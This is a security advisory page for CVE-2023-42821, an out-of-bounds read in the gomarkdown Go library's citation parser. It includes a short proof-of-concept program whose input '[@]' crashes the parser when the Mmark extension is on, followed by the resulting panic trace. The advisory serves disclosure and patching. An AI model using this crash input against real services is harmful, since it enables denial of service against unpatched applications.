GHSA-m9xq-6h2j-65r2
Suggest an improvement- Source
- https://github.com/advisories/GHSA-m9xq-6h2j-65r2
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/09/GHSA-m9xq-6h2j-65r2/GHSA-m9xq-6h2j-65r2.json
- JSON Data
- https://api.test.osv.dev/v1/vulns/GHSA-m9xq-6h2j-65r2
- Aliases
- Published
- 2023-09-22T19:59:49Z
- Modified
- 2023-11-01T05:02:57.576261Z
- Severity
-
- 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
- Summary
- Markdown vulnerable to Out-of-bounds Read while parsing citations
- Details
-
Summary
Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.
Details
To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the
citation.gofile on the line 69 when the parser tries to access the element past its length.https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69
PoC
package main import ( "github.com/gomarkdown/markdown" "github.com/gomarkdown/markdown/parser" ) func main() { ext := parser.CommonExtensions | parser.Attributes | parser.OrderedListStart | parser.SuperSubscript | parser.Mmark p := parser.NewWithExtensions(ext) inp := []byte("[@]") markdown.ToHTML(inp, p, nil) }$ go run main.go panic: runtime error: index out of range [1] with length 1 goroutine 1 [running]: github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544 github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0 github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:38 +0xb8 github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:307 +0x8c github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:574 +0x38 github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:546 +0x58 github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:557 +0x144 github.com/gomarkdown/markdown/ast.WalkFunc(...) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:580 github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:304 +0x16c github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:53 +0x6c github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0}) /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:77 +0x30 main.main() /Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c exit status 2Impact
Denial of Service / panic
- Database specific
{ "nvd_published_at": "2023-09-22T17:15:14Z", "cwe_ids": [ "CWE-125" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2023-09-22T19:59:49Z" }- References
-
- https://github.com/gomarkdown/markdown/security/advisories/GHSA-m9xq-6h2j-65r2
- https://nvd.nist.gov/vuln/detail/CVE-2023-42821
- https://github.com/gomarkdown/markdown/commit/14b16010c2ee7ff33a940a541d993bd043a88940
- https://github.com/gomarkdown/markdown
- https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69
Affected packages
Go / github.com/gomarkdown/markdown
Package
- Name
- github.com/gomarkdown/markdown
- View open source insights on deps.dev
- Purl
- pkg:golang/github.com/gomarkdown/markdown